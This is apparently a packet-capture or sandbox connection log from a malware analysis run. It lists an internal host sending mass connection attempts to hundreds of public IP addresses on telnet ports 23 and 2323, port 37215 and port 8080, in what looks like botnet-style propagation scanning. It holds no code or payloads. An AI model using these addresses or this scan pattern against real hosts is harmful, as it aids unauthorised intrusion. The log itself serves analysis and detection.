Dec 26, 2023 21:22:47.108942032 CET	36253	2323	192.168.2.23	57.180.253.48
Dec 26, 2023 21:22:47.108947039 CET	36253	23	192.168.2.23	23.61.223.171
Dec 26, 2023 21:22:47.108947039 CET	36253	23	192.168.2.23	140.130.120.107
Dec 26, 2023 21:22:47.108952045 CET	36253	23	192.168.2.23	217.74.29.156
Dec 26, 2023 21:22:47.108969927 CET	36253	2323	192.168.2.23	61.202.226.133
Dec 26, 2023 21:22:47.108969927 CET	36253	23	192.168.2.23	199.235.15.14
Dec 26, 2023 21:22:47.108974934 CET	36253	23	192.168.2.23	211.46.137.26
Dec 26, 2023 21:22:47.108974934 CET	36253	23	192.168.2.23	134.188.184.25
Dec 26, 2023 21:22:47.108974934 CET	36253	23	192.168.2.23	212.202.121.254
Dec 26, 2023 21:22:47.108978987 CET	36253	23	192.168.2.23	167.221.183.136
Dec 26, 2023 21:22:47.108982086 CET	36253	23	192.168.2.23	195.166.168.225
Dec 26, 2023 21:22:47.108982086 CET	36253	23	192.168.2.23	155.121.13.175
Dec 26, 2023 21:22:47.108982086 CET	36253	23	192.168.2.23	78.145.30.72
Dec 26, 2023 21:22:47.108982086 CET	36253	23	192.168.2.23	143.38.249.47
Dec 26, 2023 21:22:47.108982086 CET	36253	23	192.168.2.23	199.47.51.15
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	45.136.46.116
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	198.55.251.200
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	199.244.157.137
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	201.214.111.166
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	1.76.9.123
Dec 26, 2023 21:22:47.108989000 CET	36253	23	192.168.2.23	110.118.143.106
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	125.87.173.57
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	108.110.187.38
Dec 26, 2023 21:22:47.108987093 CET	36253	23	192.168.2.23	111.225.232.66
Dec 26, 2023 21:22:47.108989954 CET	36253	23	192.168.2.23	181.49.249.169
Dec 26, 2023 21:22:47.108989000 CET	36253	23	192.168.2.23	155.218.91.57
Dec 26, 2023 21:22:47.108989954 CET	36253	23	192.168.2.23	54.108.242.61
Dec 26, 2023 21:22:47.109003067 CET	36253	23	192.168.2.23	4.33.248.39
Dec 26, 2023 21:22:47.109004974 CET	36253	23	192.168.2.23	96.161.178.96
Dec 26, 2023 21:22:47.109008074 CET	36253	23	192.168.2.23	19.173.245.71
Dec 26, 2023 21:22:47.109009981 CET	36253	23	192.168.2.23	170.213.93.36
Dec 26, 2023 21:22:47.109009981 CET	36253	23	192.168.2.23	5.173.84.199
Dec 26, 2023 21:22:47.109009981 CET	36253	23	192.168.2.23	202.129.219.106
Dec 26, 2023 21:22:47.109014988 CET	36253	23	192.168.2.23	155.213.165.133
Dec 26, 2023 21:22:47.109014988 CET	36253	23	192.168.2.23	211.210.84.201
Dec 26, 2023 21:22:47.109014988 CET	36253	23	192.168.2.23	171.186.175.180
Dec 26, 2023 21:22:47.109018087 CET	36253	23	192.168.2.23	31.178.207.182
Dec 26, 2023 21:22:47.109029055 CET	36253	23	192.168.2.23	123.152.77.240
Dec 26, 2023 21:22:47.109031916 CET	36253	23	192.168.2.23	36.222.126.83
Dec 26, 2023 21:22:47.109031916 CET	36253	23	192.168.2.23	14.165.224.180
Dec 26, 2023 21:22:47.109038115 CET	36253	2323	192.168.2.23	110.242.35.94
Dec 26, 2023 21:22:47.109038115 CET	36253	23	192.168.2.23	166.34.50.27
Dec 26, 2023 21:22:47.109038115 CET	36253	23	192.168.2.23	13.176.19.72
Dec 26, 2023 21:22:47.109038115 CET	36253	23	192.168.2.23	112.46.241.14
Dec 26, 2023 21:22:47.109039068 CET	36253	2323	192.168.2.23	78.123.70.190
Dec 26, 2023 21:22:47.109038115 CET	36253	23	192.168.2.23	166.228.31.235
Dec 26, 2023 21:22:47.109039068 CET	36253	23	192.168.2.23	58.240.226.100
Dec 26, 2023 21:22:47.109038115 CET	36253	23	192.168.2.23	156.51.216.101
Dec 26, 2023 21:22:47.109047890 CET	36253	23	192.168.2.23	148.232.205.11
Dec 26, 2023 21:22:47.109059095 CET	36253	23	192.168.2.23	23.153.84.19
Dec 26, 2023 21:22:47.109060049 CET	36253	23	192.168.2.23	116.105.218.33
Dec 26, 2023 21:22:47.109060049 CET	36253	23	192.168.2.23	174.238.87.148
Dec 26, 2023 21:22:47.109060049 CET	36253	23	192.168.2.23	221.51.112.153
Dec 26, 2023 21:22:47.109060049 CET	36253	23	192.168.2.23	4.72.83.255
Dec 26, 2023 21:22:47.109060049 CET	36253	23	192.168.2.23	75.126.27.134
Dec 26, 2023 21:22:47.109064102 CET	36253	23	192.168.2.23	122.212.16.115
Dec 26, 2023 21:22:47.109064102 CET	36253	23	192.168.2.23	144.188.224.136
Dec 26, 2023 21:22:47.109071970 CET	36253	2323	192.168.2.23	159.71.214.5
Dec 26, 2023 21:22:47.109071970 CET	36253	23	192.168.2.23	1.220.57.60
Dec 26, 2023 21:22:47.109071970 CET	36253	23	192.168.2.23	68.164.150.6
Dec 26, 2023 21:22:47.109072924 CET	36253	23	192.168.2.23	176.158.86.29
Dec 26, 2023 21:22:47.109072924 CET	36253	23	192.168.2.23	114.128.65.250
Dec 26, 2023 21:22:47.109072924 CET	36253	23	192.168.2.23	137.162.105.171
Dec 26, 2023 21:22:47.109072924 CET	36253	2323	192.168.2.23	106.148.244.117
Dec 26, 2023 21:22:47.109072924 CET	36253	2323	192.168.2.23	144.101.124.55
Dec 26, 2023 21:22:47.109077930 CET	36253	23	192.168.2.23	44.122.141.94
Dec 26, 2023 21:22:47.109085083 CET	36253	23	192.168.2.23	97.193.171.140
Dec 26, 2023 21:22:47.109086037 CET	36253	23	192.168.2.23	93.90.130.133
Dec 26, 2023 21:22:47.109078884 CET	36253	23	192.168.2.23	178.183.234.247
Dec 26, 2023 21:22:47.109097004 CET	36253	23	192.168.2.23	135.104.142.243
Dec 26, 2023 21:22:47.111639977 CET	45981	37215	192.168.2.23	157.88.251.23
Dec 26, 2023 21:22:47.111645937 CET	45981	37215	192.168.2.23	157.87.162.120
Dec 26, 2023 21:22:47.111656904 CET	45981	37215	192.168.2.23	157.252.173.217
Dec 26, 2023 21:22:47.111661911 CET	45981	37215	192.168.2.23	157.187.222.145
Dec 26, 2023 21:22:47.111668110 CET	45981	37215	192.168.2.23	157.127.100.21
Dec 26, 2023 21:22:47.111670017 CET	45981	37215	192.168.2.23	157.161.132.243
Dec 26, 2023 21:22:47.111671925 CET	45981	37215	192.168.2.23	157.28.139.162
Dec 26, 2023 21:22:47.111684084 CET	45981	37215	192.168.2.23	157.49.81.227
Dec 26, 2023 21:22:47.111686945 CET	45981	37215	192.168.2.23	157.50.85.158
Dec 26, 2023 21:22:47.111686945 CET	45981	37215	192.168.2.23	157.2.144.141
Dec 26, 2023 21:22:47.111695051 CET	45981	37215	192.168.2.23	157.9.116.204
Dec 26, 2023 21:22:47.111696005 CET	45981	37215	192.168.2.23	157.12.236.236
Dec 26, 2023 21:22:47.111706972 CET	45981	37215	192.168.2.23	157.103.10.161
Dec 26, 2023 21:22:47.111709118 CET	45981	37215	192.168.2.23	157.117.12.54
Dec 26, 2023 21:22:47.111721039 CET	45981	37215	192.168.2.23	157.225.100.133
Dec 26, 2023 21:22:47.111726999 CET	45981	37215	192.168.2.23	157.6.15.12
Dec 26, 2023 21:22:47.111730099 CET	45981	37215	192.168.2.23	157.24.109.220
Dec 26, 2023 21:22:47.111737967 CET	45981	37215	192.168.2.23	157.235.1.10
Dec 26, 2023 21:22:47.111741066 CET	45981	37215	192.168.2.23	157.216.199.16
Dec 26, 2023 21:22:47.111741066 CET	45981	37215	192.168.2.23	157.156.24.201
Dec 26, 2023 21:22:47.111756086 CET	45981	37215	192.168.2.23	157.145.19.82
Dec 26, 2023 21:22:47.111759901 CET	45981	37215	192.168.2.23	157.65.80.27
Dec 26, 2023 21:22:47.111773014 CET	45981	37215	192.168.2.23	157.176.186.167
Dec 26, 2023 21:22:47.111776114 CET	45981	37215	192.168.2.23	157.111.60.217
Dec 26, 2023 21:22:47.111779928 CET	45981	37215	192.168.2.23	157.118.37.216
Dec 26, 2023 21:22:47.111787081 CET	45981	37215	192.168.2.23	157.157.168.57
Dec 26, 2023 21:22:47.111793995 CET	45981	37215	192.168.2.23	157.9.32.48
Dec 26, 2023 21:22:47.111793995 CET	45981	37215	192.168.2.23	157.90.35.249
Dec 26, 2023 21:22:47.111798048 CET	45981	37215	192.168.2.23	157.191.120.175
Dec 26, 2023 21:22:47.111807108 CET	45981	37215	192.168.2.23	157.175.170.195
Dec 26, 2023 21:22:47.111807108 CET	45981	37215	192.168.2.23	157.239.45.20
Dec 26, 2023 21:22:47.111824036 CET	45981	37215	192.168.2.23	157.129.169.18
Dec 26, 2023 21:22:47.111829042 CET	45981	37215	192.168.2.23	157.11.115.237
Dec 26, 2023 21:22:47.111829042 CET	45981	37215	192.168.2.23	157.201.107.87
Dec 26, 2023 21:22:47.111829042 CET	45981	37215	192.168.2.23	157.8.10.112
Dec 26, 2023 21:22:47.111844063 CET	45981	37215	192.168.2.23	157.76.111.101
Dec 26, 2023 21:22:47.111852884 CET	45981	37215	192.168.2.23	157.179.168.38
Dec 26, 2023 21:22:47.111852884 CET	45981	37215	192.168.2.23	157.41.74.55
Dec 26, 2023 21:22:47.111877918 CET	45981	37215	192.168.2.23	157.214.159.66
Dec 26, 2023 21:22:47.111880064 CET	45981	37215	192.168.2.23	157.162.98.16
Dec 26, 2023 21:22:47.111880064 CET	45981	37215	192.168.2.23	157.192.29.172
Dec 26, 2023 21:22:47.111892939 CET	45981	37215	192.168.2.23	157.5.111.35
Dec 26, 2023 21:22:47.111896038 CET	45981	37215	192.168.2.23	157.142.33.134
Dec 26, 2023 21:22:47.111901045 CET	45981	37215	192.168.2.23	157.7.73.49
Dec 26, 2023 21:22:47.111906052 CET	45981	37215	192.168.2.23	157.104.195.191
Dec 26, 2023 21:22:47.111911058 CET	45981	37215	192.168.2.23	157.195.203.241
Dec 26, 2023 21:22:47.111924887 CET	45981	37215	192.168.2.23	157.8.206.121
Dec 26, 2023 21:22:47.111929893 CET	45981	37215	192.168.2.23	157.37.78.95
Dec 26, 2023 21:22:47.111931086 CET	45981	37215	192.168.2.23	157.236.222.51
Dec 26, 2023 21:22:47.111931086 CET	45981	37215	192.168.2.23	157.162.178.223
Dec 26, 2023 21:22:47.111946106 CET	45981	37215	192.168.2.23	157.232.205.121
Dec 26, 2023 21:22:47.111946106 CET	45981	37215	192.168.2.23	157.110.16.55
Dec 26, 2023 21:22:47.111963987 CET	45981	37215	192.168.2.23	157.30.92.6
Dec 26, 2023 21:22:47.111963987 CET	45981	37215	192.168.2.23	157.187.13.184
Dec 26, 2023 21:22:47.111970901 CET	45981	37215	192.168.2.23	157.202.164.66
Dec 26, 2023 21:22:47.111970901 CET	45981	37215	192.168.2.23	157.237.27.101
Dec 26, 2023 21:22:47.111983061 CET	45981	37215	192.168.2.23	157.1.214.224
Dec 26, 2023 21:22:47.111995935 CET	45981	37215	192.168.2.23	157.144.54.62
Dec 26, 2023 21:22:47.111998081 CET	45981	37215	192.168.2.23	157.161.66.201
Dec 26, 2023 21:22:47.111998081 CET	45981	37215	192.168.2.23	157.111.255.27
Dec 26, 2023 21:22:47.112015963 CET	45981	37215	192.168.2.23	157.249.12.61
Dec 26, 2023 21:22:47.112015963 CET	45981	37215	192.168.2.23	157.167.225.67
Dec 26, 2023 21:22:47.112029076 CET	45981	37215	192.168.2.23	157.20.139.242
Dec 26, 2023 21:22:47.112029076 CET	45981	37215	192.168.2.23	157.162.75.156
Dec 26, 2023 21:22:47.112036943 CET	45981	37215	192.168.2.23	157.215.193.51
Dec 26, 2023 21:22:47.112045050 CET	45981	37215	192.168.2.23	157.217.229.131
Dec 26, 2023 21:22:47.112052917 CET	45981	37215	192.168.2.23	157.247.4.212
Dec 26, 2023 21:22:47.112054110 CET	45981	37215	192.168.2.23	157.231.86.164
Dec 26, 2023 21:22:47.112054110 CET	45981	37215	192.168.2.23	157.251.255.0
Dec 26, 2023 21:22:47.112065077 CET	45981	37215	192.168.2.23	157.99.204.63
Dec 26, 2023 21:22:47.112083912 CET	45981	37215	192.168.2.23	157.20.134.100
Dec 26, 2023 21:22:47.112085104 CET	45981	37215	192.168.2.23	157.116.5.8
Dec 26, 2023 21:22:47.112085104 CET	45981	37215	192.168.2.23	157.200.2.22
Dec 26, 2023 21:22:47.112087965 CET	45981	37215	192.168.2.23	157.196.221.52
Dec 26, 2023 21:22:47.112097979 CET	45981	37215	192.168.2.23	157.150.193.69
Dec 26, 2023 21:22:47.112112045 CET	45981	37215	192.168.2.23	157.56.131.149
Dec 26, 2023 21:22:47.112113953 CET	45981	37215	192.168.2.23	157.214.69.69
Dec 26, 2023 21:22:47.112124920 CET	45981	37215	192.168.2.23	157.213.211.228
Dec 26, 2023 21:22:47.112135887 CET	45981	37215	192.168.2.23	157.208.16.18
Dec 26, 2023 21:22:47.112145901 CET	45981	37215	192.168.2.23	157.2.81.38
Dec 26, 2023 21:22:47.112154961 CET	45981	37215	192.168.2.23	157.164.186.214
Dec 26, 2023 21:22:47.112155914 CET	45981	37215	192.168.2.23	157.109.8.178
Dec 26, 2023 21:22:47.112157106 CET	45981	37215	192.168.2.23	157.205.94.208
Dec 26, 2023 21:22:47.112157106 CET	45981	37215	192.168.2.23	157.14.125.147
Dec 26, 2023 21:22:47.112170935 CET	45981	37215	192.168.2.23	157.68.169.196
Dec 26, 2023 21:22:47.112170935 CET	45981	37215	192.168.2.23	157.136.217.53
Dec 26, 2023 21:22:47.112185955 CET	45981	37215	192.168.2.23	157.5.248.181
Dec 26, 2023 21:22:47.112190962 CET	45981	37215	192.168.2.23	157.237.83.98
Dec 26, 2023 21:22:47.112195015 CET	45981	37215	192.168.2.23	157.9.9.33
Dec 26, 2023 21:22:47.112201929 CET	45981	37215	192.168.2.23	157.131.182.60
Dec 26, 2023 21:22:47.112201929 CET	45981	37215	192.168.2.23	157.206.138.85
Dec 26, 2023 21:22:47.112210035 CET	45981	37215	192.168.2.23	157.102.156.109
Dec 26, 2023 21:22:47.112227917 CET	45981	37215	192.168.2.23	157.7.210.139
Dec 26, 2023 21:22:47.112231016 CET	45981	37215	192.168.2.23	157.10.147.92
Dec 26, 2023 21:22:47.112231016 CET	45981	37215	192.168.2.23	157.51.48.215
Dec 26, 2023 21:22:47.112241983 CET	45981	37215	192.168.2.23	157.217.156.73
Dec 26, 2023 21:22:47.112247944 CET	45981	37215	192.168.2.23	157.147.187.72
Dec 26, 2023 21:22:47.112258911 CET	45981	37215	192.168.2.23	157.151.125.104
Dec 26, 2023 21:22:47.112263918 CET	45981	37215	192.168.2.23	157.200.126.245
Dec 26, 2023 21:22:47.112267017 CET	45981	37215	192.168.2.23	157.254.228.179
Dec 26, 2023 21:22:47.112274885 CET	45981	37215	192.168.2.23	157.111.159.176
Dec 26, 2023 21:22:47.112276077 CET	45981	37215	192.168.2.23	157.17.203.31
Dec 26, 2023 21:22:47.112287045 CET	45981	37215	192.168.2.23	157.126.156.208
Dec 26, 2023 21:22:47.112287045 CET	45981	37215	192.168.2.23	157.157.145.119
Dec 26, 2023 21:22:47.112296104 CET	45981	37215	192.168.2.23	157.133.50.166
Dec 26, 2023 21:22:47.112298965 CET	45981	37215	192.168.2.23	157.113.101.195
Dec 26, 2023 21:22:47.112301111 CET	45981	37215	192.168.2.23	157.201.62.242
Dec 26, 2023 21:22:47.112310886 CET	45981	37215	192.168.2.23	157.159.12.61
Dec 26, 2023 21:22:47.112315893 CET	45981	37215	192.168.2.23	157.16.174.97
Dec 26, 2023 21:22:47.112318039 CET	45981	37215	192.168.2.23	157.6.153.149
Dec 26, 2023 21:22:47.112320900 CET	45981	37215	192.168.2.23	157.198.33.30
Dec 26, 2023 21:22:47.112328053 CET	45981	37215	192.168.2.23	157.93.174.61
Dec 26, 2023 21:22:47.112337112 CET	45981	37215	192.168.2.23	157.49.6.193
Dec 26, 2023 21:22:47.112337112 CET	45981	37215	192.168.2.23	157.10.146.51
Dec 26, 2023 21:22:47.112359047 CET	45981	37215	192.168.2.23	157.125.74.12
Dec 26, 2023 21:22:47.112364054 CET	45981	37215	192.168.2.23	157.178.34.27
Dec 26, 2023 21:22:47.112375975 CET	45981	37215	192.168.2.23	157.82.163.57
Dec 26, 2023 21:22:47.112375975 CET	45981	37215	192.168.2.23	157.116.128.135
Dec 26, 2023 21:22:47.112380028 CET	45981	37215	192.168.2.23	157.79.32.75
Dec 26, 2023 21:22:47.112381935 CET	45981	37215	192.168.2.23	157.205.15.244
Dec 26, 2023 21:22:47.112384081 CET	45981	37215	192.168.2.23	157.89.204.229
Dec 26, 2023 21:22:47.112401009 CET	45981	37215	192.168.2.23	157.224.188.125
Dec 26, 2023 21:22:47.112401009 CET	45981	37215	192.168.2.23	157.156.48.55
Dec 26, 2023 21:22:47.112401009 CET	45981	37215	192.168.2.23	157.129.67.250
Dec 26, 2023 21:22:47.112416983 CET	45981	37215	192.168.2.23	157.169.53.232
Dec 26, 2023 21:22:47.112423897 CET	45981	37215	192.168.2.23	157.37.85.111
Dec 26, 2023 21:22:47.112441063 CET	45981	37215	192.168.2.23	157.162.20.255
Dec 26, 2023 21:22:47.112457037 CET	45981	37215	192.168.2.23	157.138.162.43
Dec 26, 2023 21:22:47.112457037 CET	45981	37215	192.168.2.23	157.238.11.153
Dec 26, 2023 21:22:47.112457037 CET	45981	37215	192.168.2.23	157.5.171.210
Dec 26, 2023 21:22:47.112457037 CET	45981	37215	192.168.2.23	157.64.194.96
Dec 26, 2023 21:22:47.112457991 CET	45981	37215	192.168.2.23	157.212.70.151
Dec 26, 2023 21:22:47.112478018 CET	45981	37215	192.168.2.23	157.195.157.104
Dec 26, 2023 21:22:47.112482071 CET	45981	37215	192.168.2.23	157.233.236.151
Dec 26, 2023 21:22:47.112482071 CET	45981	37215	192.168.2.23	157.194.230.222
Dec 26, 2023 21:22:47.112488031 CET	45981	37215	192.168.2.23	157.61.89.111
Dec 26, 2023 21:22:47.112497091 CET	45981	37215	192.168.2.23	157.199.104.223
Dec 26, 2023 21:22:47.112497091 CET	45981	37215	192.168.2.23	157.109.94.131
Dec 26, 2023 21:22:47.112525940 CET	45981	37215	192.168.2.23	157.56.0.133
Dec 26, 2023 21:22:47.112533092 CET	45981	37215	192.168.2.23	157.51.57.233
Dec 26, 2023 21:22:47.112534046 CET	45981	37215	192.168.2.23	157.222.125.134
Dec 26, 2023 21:22:47.112536907 CET	45981	37215	192.168.2.23	157.34.66.230
Dec 26, 2023 21:22:47.112536907 CET	45981	37215	192.168.2.23	157.158.79.170
Dec 26, 2023 21:22:47.112536907 CET	45981	37215	192.168.2.23	157.255.56.60
Dec 26, 2023 21:22:47.112545967 CET	45981	37215	192.168.2.23	157.152.115.117
Dec 26, 2023 21:22:47.112545967 CET	45981	37215	192.168.2.23	157.107.102.10
Dec 26, 2023 21:22:47.112545967 CET	45981	37215	192.168.2.23	157.10.19.108
Dec 26, 2023 21:22:47.112561941 CET	45981	37215	192.168.2.23	157.208.151.39
Dec 26, 2023 21:22:47.112572908 CET	45981	37215	192.168.2.23	157.54.177.89
Dec 26, 2023 21:22:47.112576008 CET	45981	37215	192.168.2.23	157.246.104.72
Dec 26, 2023 21:22:47.112586975 CET	45981	37215	192.168.2.23	157.234.74.15
Dec 26, 2023 21:22:47.112591982 CET	45981	37215	192.168.2.23	157.125.35.59
Dec 26, 2023 21:22:47.112597942 CET	45981	37215	192.168.2.23	157.254.128.104
Dec 26, 2023 21:22:47.112601042 CET	45981	37215	192.168.2.23	157.126.76.50
Dec 26, 2023 21:22:47.112623930 CET	45981	37215	192.168.2.23	157.69.167.29
Dec 26, 2023 21:22:47.112627983 CET	45981	37215	192.168.2.23	157.115.36.148
Dec 26, 2023 21:22:47.112632036 CET	45981	37215	192.168.2.23	157.60.186.226
Dec 26, 2023 21:22:47.112642050 CET	45981	37215	192.168.2.23	157.228.232.228
Dec 26, 2023 21:22:47.112644911 CET	45981	37215	192.168.2.23	157.121.202.113
Dec 26, 2023 21:22:47.112644911 CET	45981	37215	192.168.2.23	157.186.115.171
Dec 26, 2023 21:22:47.162132025 CET	8080	50368	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:47.162261009 CET	8080	50368	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:47.162332058 CET	50368	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:47.170038939 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.196017027 CET	8080	32810	31.200.37.153	192.168.2.23
Dec 26, 2023 21:22:47.196182013 CET	32810	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.196228027 CET	32810	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.196228027 CET	32810	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.196240902 CET	32818	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.198493958 CET	8080	59838	94.120.236.2	192.168.2.23
Dec 26, 2023 21:22:47.198546886 CET	59838	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.198564053 CET	59838	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.198564053 CET	59838	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.198600054 CET	59846	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.286906958 CET	8080	36508	94.121.195.24	192.168.2.23
Dec 26, 2023 21:22:47.324752092 CET	8080	45469	62.116.233.1	192.168.2.23
Dec 26, 2023 21:22:47.340131044 CET	80	45725	88.97.102.139	192.168.2.23
Dec 26, 2023 21:22:47.340194941 CET	45725	80	192.168.2.23	88.97.102.139
Dec 26, 2023 21:22:47.459192038 CET	8080	54142	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:47.459259033 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.459285021 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.459291935 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.459321976 CET	54170	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.476272106 CET	8080	32810	31.200.37.153	192.168.2.23
Dec 26, 2023 21:22:47.476383924 CET	8080	32818	31.200.37.153	192.168.2.23
Dec 26, 2023 21:22:47.476401091 CET	8080	59846	94.120.236.2	192.168.2.23
Dec 26, 2023 21:22:47.476452112 CET	32818	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.476452112 CET	32818	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:47.476478100 CET	59846	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.476497889 CET	59846	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:47.477993965 CET	8080	59838	94.120.236.2	192.168.2.23
Dec 26, 2023 21:22:47.488972902 CET	23	36253	180.241.233.97	192.168.2.23
Dec 26, 2023 21:22:47.617999077 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:47.748189926 CET	8080	54170	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:47.748253107 CET	54170	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.748270988 CET	54170	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.748294115 CET	45469	8080	192.168.2.23	62.188.106.208
Dec 26, 2023 21:22:47.748291969 CET	45469	8080	192.168.2.23	94.137.239.170
Dec 26, 2023 21:22:47.748321056 CET	45469	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:47.748328924 CET	45469	8080	192.168.2.23	31.221.194.178
Dec 26, 2023 21:22:47.748363018 CET	45469	8080	192.168.2.23	62.169.114.158
Dec 26, 2023 21:22:47.748364925 CET	45469	8080	192.168.2.23	31.227.175.77
Dec 26, 2023 21:22:47.748364925 CET	45469	8080	192.168.2.23	94.157.249.120
Dec 26, 2023 21:22:47.748364925 CET	45469	8080	192.168.2.23	94.161.20.177
Dec 26, 2023 21:22:47.748366117 CET	45469	8080	192.168.2.23	95.1.171.221
Dec 26, 2023 21:22:47.748369932 CET	45469	8080	192.168.2.23	94.16.237.41
Dec 26, 2023 21:22:47.748370886 CET	45469	8080	192.168.2.23	62.179.159.176
Dec 26, 2023 21:22:47.748377085 CET	45469	8080	192.168.2.23	94.183.225.233
Dec 26, 2023 21:22:47.748382092 CET	45469	8080	192.168.2.23	94.216.251.131
Dec 26, 2023 21:22:47.748399019 CET	45469	8080	192.168.2.23	62.132.112.173
Dec 26, 2023 21:22:47.748399973 CET	45469	8080	192.168.2.23	31.43.168.172
Dec 26, 2023 21:22:47.748399973 CET	45469	8080	192.168.2.23	31.137.34.33
Dec 26, 2023 21:22:47.748399973 CET	45469	8080	192.168.2.23	31.21.148.136
Dec 26, 2023 21:22:47.748410940 CET	45469	8080	192.168.2.23	62.107.211.151
Dec 26, 2023 21:22:47.748410940 CET	45469	8080	192.168.2.23	62.39.148.221
Dec 26, 2023 21:22:47.748415947 CET	45469	8080	192.168.2.23	95.22.208.62
Dec 26, 2023 21:22:47.748425007 CET	45469	8080	192.168.2.23	62.157.43.48
Dec 26, 2023 21:22:47.748435974 CET	45469	8080	192.168.2.23	94.154.147.92
Dec 26, 2023 21:22:47.748436928 CET	45469	8080	192.168.2.23	62.33.0.17
Dec 26, 2023 21:22:47.748450994 CET	45469	8080	192.168.2.23	85.34.177.116
Dec 26, 2023 21:22:47.748462915 CET	45469	8080	192.168.2.23	62.33.65.139
Dec 26, 2023 21:22:47.748478889 CET	45469	8080	192.168.2.23	94.5.236.209
Dec 26, 2023 21:22:47.748493910 CET	45469	8080	192.168.2.23	31.240.192.50
Dec 26, 2023 21:22:47.748497009 CET	45469	8080	192.168.2.23	31.94.106.59
Dec 26, 2023 21:22:47.748505116 CET	45469	8080	192.168.2.23	31.19.9.246
Dec 26, 2023 21:22:47.748512983 CET	45469	8080	192.168.2.23	85.7.161.228
Dec 26, 2023 21:22:47.748517990 CET	45469	8080	192.168.2.23	62.135.19.81
Dec 26, 2023 21:22:47.748517990 CET	45469	8080	192.168.2.23	31.118.217.16
Dec 26, 2023 21:22:47.748519897 CET	45469	8080	192.168.2.23	85.68.161.157
Dec 26, 2023 21:22:47.748528004 CET	8080	54142	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:47.748533964 CET	45469	8080	192.168.2.23	95.90.179.197
Dec 26, 2023 21:22:47.748541117 CET	45469	8080	192.168.2.23	31.102.175.246
Dec 26, 2023 21:22:47.748543024 CET	45469	8080	192.168.2.23	31.57.36.133
Dec 26, 2023 21:22:47.748552084 CET	45469	8080	192.168.2.23	31.215.141.88
Dec 26, 2023 21:22:47.748553991 CET	45469	8080	192.168.2.23	94.121.172.233
Dec 26, 2023 21:22:47.748570919 CET	45469	8080	192.168.2.23	31.27.58.211
Dec 26, 2023 21:22:47.748573065 CET	45469	8080	192.168.2.23	85.65.52.62
Dec 26, 2023 21:22:47.748594999 CET	45469	8080	192.168.2.23	31.243.23.112
Dec 26, 2023 21:22:47.748605967 CET	45469	8080	192.168.2.23	94.201.159.167
Dec 26, 2023 21:22:47.748605967 CET	45469	8080	192.168.2.23	94.251.146.93
Dec 26, 2023 21:22:47.748606920 CET	45469	8080	192.168.2.23	94.245.117.159
Dec 26, 2023 21:22:47.748632908 CET	45469	8080	192.168.2.23	85.138.254.69
Dec 26, 2023 21:22:47.748632908 CET	45469	8080	192.168.2.23	95.92.199.145
Dec 26, 2023 21:22:47.748646975 CET	45469	8080	192.168.2.23	31.221.72.80
Dec 26, 2023 21:22:47.748656988 CET	45469	8080	192.168.2.23	94.114.135.197
Dec 26, 2023 21:22:47.748665094 CET	45469	8080	192.168.2.23	85.134.141.130
Dec 26, 2023 21:22:47.748678923 CET	45469	8080	192.168.2.23	31.239.222.200
Dec 26, 2023 21:22:47.748692989 CET	45469	8080	192.168.2.23	62.129.251.6
Dec 26, 2023 21:22:47.748693943 CET	45469	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:47.748703003 CET	45469	8080	192.168.2.23	95.231.150.82
Dec 26, 2023 21:22:47.748708963 CET	45469	8080	192.168.2.23	94.232.221.221
Dec 26, 2023 21:22:47.748711109 CET	45469	8080	192.168.2.23	31.126.27.25
Dec 26, 2023 21:22:47.748723984 CET	45469	8080	192.168.2.23	94.250.109.226
Dec 26, 2023 21:22:47.748735905 CET	45469	8080	192.168.2.23	62.199.219.6
Dec 26, 2023 21:22:47.748740911 CET	45469	8080	192.168.2.23	62.161.109.144
Dec 26, 2023 21:22:47.748748064 CET	45469	8080	192.168.2.23	31.83.119.183
Dec 26, 2023 21:22:47.748758078 CET	45469	8080	192.168.2.23	62.145.153.9
Dec 26, 2023 21:22:47.748768091 CET	45469	8080	192.168.2.23	94.26.15.66
Dec 26, 2023 21:22:47.748780966 CET	45469	8080	192.168.2.23	94.17.142.31
Dec 26, 2023 21:22:47.748780966 CET	45469	8080	192.168.2.23	94.255.218.71
Dec 26, 2023 21:22:47.748800993 CET	45469	8080	192.168.2.23	95.120.230.74
Dec 26, 2023 21:22:47.748806000 CET	45469	8080	192.168.2.23	85.48.85.63
Dec 26, 2023 21:22:47.748810053 CET	45469	8080	192.168.2.23	85.217.70.29
Dec 26, 2023 21:22:47.748821974 CET	45469	8080	192.168.2.23	95.249.50.11
